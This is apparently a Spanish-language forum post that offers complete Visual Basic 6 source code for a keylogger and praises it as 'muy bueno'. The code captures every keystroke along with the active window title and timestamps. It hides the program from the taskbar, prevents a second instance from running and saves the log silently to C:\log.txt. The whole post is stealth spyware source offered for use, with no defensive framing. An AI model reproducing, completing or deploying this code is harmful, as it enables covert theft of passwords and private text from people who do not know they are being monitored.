Hola este es un Keylogger muy bueno:
usa 2 timer, un texbox
Codigos:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Timer1:
'Cualto alt no este precionada
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text7 = Text7 & "[ALTUP]"
End If
'a-z A-Z
For i = Asc("A") To Asc("Z") 'Bucle que va desde 65 a 90
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text7 = Text7 & LCase(Chr(i))
Exit Sub
Else
Text7 = Text7 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text7 = Text7 & UCase(Chr(i))
Exit Sub
Else
Text7 = Text7 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57 'Bucle para registrar los numeros
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text7 = Text7 & ChangeChr(i)
Exit Sub
Else
Text7 = Text7 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text7 = Text7 & ChangeChr(i - 100)
Exit Sub
Else
Text7 = Text7 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text7 = Text7 & ChangeChr(i - 100)
Exit Sub
Else
Text7 = Text7 & ChangeChr(i)
Exit Sub
End If
End If
Next
'Bloque numerico
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text7 = Text7 & "[ALTDOWN]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text7 = Text7 & "[ALTUP]"
End If
End If
Text7 = Text7 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text7 = Text7 & " "
End If
'Cuando se precione ENTER
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text7 = Text7 & vbCrLf & "Enter " ' Se le inserta un salto de linea al texto y un caracter
'de identificacion (Alt+ 0160)
End If
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text7.Text, 1) = " ") Then GoTo nod 'Si es ultimo caracter es ANSI 160 no se borra nada
tip = Len(Text7.Text) - 1 'Logitud del texto menos uno
Text7 = Left(Text7.Text, tip) 'Borrado
nod:
End If
'Cuando se precione felcha izquierda
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text7 = Text7 & "[LeftArrow]"
End If
'Cuando se precione felcha Arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text7 = Text7 & "[UpArrow]"
'End If
'Cuando se precione flecha derechar
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text7 = Text7 & "[RightArrow]"
End If
'Cuando se precione flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text7 = Text7 & "[DownArrow]"
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text7 = Text7 & "[Tab]"
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text7 = Text7 & "[Escape]"
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text7 = Text7 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text7 = Text7 & ChangeChr(i)
End If
Next
' Left Click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
Text7 = Text7 & "[LeftClick]"
End If
End If
End If
Timer2:
GurdaLog
Formulario:
If App.PrevInstance = True Then: End 'Para que no existan dos programas corriendo al mismo tiempo
App.TaskVisible = False ' Nada de mostrarse en la barra de tareas
LeeLog 'Funcion que lee el archivo de log
Me.Caption = "Keylogger"
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"
ChangeChr(186) = "`"
ChangeChr(187) = "+"
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "}"
ChangeChr(219) = "{" '
ChangeChr(220) = "\"
ChangeChr(221) = "¡"
ChangeChr(222) = "{"
ChangeChr(86) = "^"
ChangeChr(87) = "*"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"
ChangeChr(119) = "?"
ChangeChr(120) = "|"
ChangeChr(121) = "¿"
ChangeChr(122) = """"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = "ñ"
ChangeChr(92) = "Ñ"
Declarasiones en Generales:
Public Function Logged(FromFile As String) As String 'Lee el texto contenido dentro de C:\log.txt
On Error GoTo Handle
Dim sTemp As String
Open FromFile For Input As #1 'Abre el archivo para leerlo
sTemp = Input(LOF(1), 1) 'Obtiene el texto
Close #1 'Cierra el archivo
Logged = sTemp
Exit Function
Handle:
'MsgBox "Error " & Err.Number & vbCrLf & Err.Description, vbCritical, "Error"
End Function
Function TypeWindow() 'Imprime el titulo de la ventana activa
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then 'Si el ultimo titulo de la ventana activa es directe alde la actual
' se imprime el nuevo titulo de la ventana
If Text7 <> "" Then Text7 = Text7 & vbCrLf & vbCrLf
Text7 = Text7 & "|====================" & Now & "=======================|" & vbCrLf & WindowText & vbCrLf & "|============================================================|" & vbCrLf & " " 'Se eimprime el titulo de la aplicacion, fecha y hora =P
LastWindow = WindowText 'El ultimo titulo de la ventana
End If
End Function
Sub LeeLog()
Text7.Text = Logged("C:\log.txt") 'Se carga el texto en el objeto text
End Sub
Sub GurdaLog()
Open ("C:\log.txt") For Output As #1 ' Se abre el archivo
Print #1, Text7.Text ' se sobre escribe el log
Close #1 ' y se cierra
End Sub
Espero q les Sirve es muy Bueno....